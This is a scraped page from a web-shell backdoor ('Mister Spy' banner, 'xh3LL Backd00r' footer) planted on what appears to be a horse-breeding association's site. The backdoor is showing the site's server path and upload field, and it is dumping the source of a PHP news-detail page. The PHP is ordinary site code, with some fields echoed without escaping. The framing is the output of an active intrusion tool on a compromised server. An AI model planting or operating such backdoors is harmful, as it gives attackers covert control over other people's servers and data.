Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/
Upload File :
Current File : /home/caballoscriollos/public_html/web/noticias_detalle.php

<?php
require_once('inc_library.php');

$IdNoticia  = intval($_REQUEST['IdNoticia']);
$Page       = intval($_REQUEST['Page']);

$oNoticias      = new Noticias();
$oCategorias    = new Categorias();

$oNoticia   = $oNoticias->GetById($IdNoticia);
$oCategoria = $oCategorias->GetById($oNoticia->IdCategoria);
$arrImagenes    = $oNoticia->GetAllImagenes();

?>
<!DOCTYPE html>
<html lang="en">
    <?php include("ssi_head.php"); ?>
    <body class="custom-cursor">
        <div class="preloader">
            <div class="preloader__image"></div>
        </div>
        <div class="page-wrapper">
            <?php include("ssi_header.php"); ?>

            <!--Page Header End-->
            <div class="stricky-header stricked-menu main-menu main-menu-three">
                <div class="sticky-header__content"></div><!-- /.sticky-header__content -->
            </div><!-- /.stricky-header -->
            <!--Page Header Start-->
            <!-- <section class="page-header">
                <div class="page-header__bg" style="background-image: url(assets/images/backgrounds/page-header-bg.jpg);">
                </div>
                <div class="page-header__shape-1 float-bob-y">
                    <img src="assets/images/shapes/page-header-shape-1.png" alt="">
                </div>
                <div class="page-header__shape-2 float-bob-x">
                    <img src="assets/images/shapes/page-header-shape-2.png" alt="">
                </div>
                <div class="page-header__shape-3 float-bob-y">
                    <img src="assets/images/shapes/page-header-shape-3.png" alt="">
                </div>
                <div class="page-header__shape-4 float-bob-x">
                    <img src="assets/images/shapes/page-header-shape-4.png" alt="">
                </div>
                <div class="container">
                    <div class="page-header__inner">
                        <h2>Contacto</h2>
                        <ul class="thm-breadcrumb list-unstyled">
                            <li><a href="index.php">Home</a></li>
                            <li><span class="icon-down-arrow"></span></li>
                            <li>Contacto</li>
                        </ul>
                    </div>
                </div>
            </section> -->
            <!--Page Header Start-->
            <!-- <section class="page-header">
                <div class="page-header__bg">
                </div>
                <div class="container">
                    <div class="page-header__inner">
                        <h2><?= $oNoticia->Titulo ?></h2>
                        <ul class="thm-breadcrumb list-unstyled">
                            <li><a href="index.php">Inicio</a></li>
                            <li><span class="icon-down-arrow"></span></li>
                            <li><a href="noticias.php?IdCategoria=<?= $oCategoria->IdCategoria ?>"><?= $oCategoria->Nombre ?></a></li>
                            <li><span class="icon-down-arrow"></span></li>
                            <li><?= $oNoticia->Titulo ?></li>
                        </ul>
                    </div>
                </div>
            </section> -->
            <!--Page Header End-->
            <section class="news-details">
                <div class="container">
                    <div class="row">
                        <div class="col-xl-12">
                            <div class="news-details__left">
                                <!-- <div class="news-details__img">
                                    <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $arrImagenes[0]->Imagen ?>" alt="<?= $oNoticia->Titulo ?>">
                                </div> -->
                                <div class="news-details__author-and-meta">
                                    <div class="news-details__meta" style="margin-left: 0;">
                                        <p><span class="fas fa-calendar"></span><?= FechaLetras($oNoticia->Fecha) ?></p>
                                        <p><span class="fas fa-tag"></span><?= utf8_encode($oCategoria->Nombre) ?></p>
                                    </div>
                                </div>
                                <h3 class="news-details__title-1 mb-3"><?= $oNoticia->Titulo ?></h3>
                                <div class="mb-4">
                                    <div class="sharethis-inline-share-buttons"></div>
                                </div>
                                <?php
                                if (count($arrImagenes) > 1) {
                                ?>
                                <!-- <h5 class="news-details__title-2 mt-5" style="font-size: 25px">Galer&iacute;a de Im&aacute;genes</h5> -->
                                <div class="portfolio-carousel thm-owl__carousel owl-theme owl-carousel carousel-dot-style mt-3 mb-5" style="width: 70%; margin-left: auto; margin-right: auto;"
                                    data-owl-options='{
                                    "items": 1,
                                    "margin": 30,
                                    "smartSpeed": 700,
                                    "loop":true,
                                    "autoplay": 6000,
                                    "nav":false,
                                    "dots":true,
                                    "navText": ["<span class=\"fa fa-angle-left\"></span>","<span class=\"fa fa-angle-right\"></span>"],
                                    "responsive":{
                                        "0":{
                                            "items":1
                                        },
                                        "768":{
                                            "items":1
                                        },
                                        "992":{
                                            "items": 1
                                        }
                                    }
                                }'>
                                <?php
                                $count = 0;
                                foreach ($arrImagenes as $oImagen) {
                                    if ($count != 0) {
                                ?>
                                    <div class="item">
                                        <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $oImagen->Imagen ?>" alt="<?= $oImagen->Epigrafe ?>">
                                    </div>
                                <?php
                                    }
                                    $count++;
                                }
                                ?>
                                </div>
                            <?php
                            }
                            ?>
                                <?php
                                if ($oNoticia->Archivos)
                                {
                                ?>
                                <!-- <h5 class="news-details__title-2 mt-5" style="font-size: 25px">Descargas disponibles</h5> -->
                                <ul class="list list-unstyled mb-4">
                                <?php
                                    foreach ($oNoticia->Archivos as $oArchivo)
                                    {
                                    ?>
                                    <li class="mb-2"><i class="fa fa-download fa-lg sl mr-2" style="color: #fe9900 !important"></i> <a href="<?= str_replace('../', '', Noticia::PathFile) . $oArchivo->Archivo ?>" target="_blank" style="color: #fe9900 !important">Descargar <?= ($oArchivo->Nombre) ?></a></li>
                                    <?php
                                    }
                                ?>
                                </ul>
                                <?php
                                }
                                ?>

                                <?= $oNoticia->Cuerpo ?>


                            </div>
                        </div>
                    </div>
                </div>
            </section>
            <?php include("ssi_logos.php"); ?>  
            <?php include("ssi_footer.php"); ?>  

        </div><!-- /.page-wrapper -->
        <?php include("ssi_mobile.php"); ?>  
        <?php include("ssi_search.php"); ?>  
        <?php include("ssi_scripts.php"); ?>  
        <script type="text/javascript" src="https://platform-api.sharethis.com/js/sharethis.js#property=657c787ca6ecd400190b3ca9&product=inline-share-buttons&source=platform" async="async"></script>
    </body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat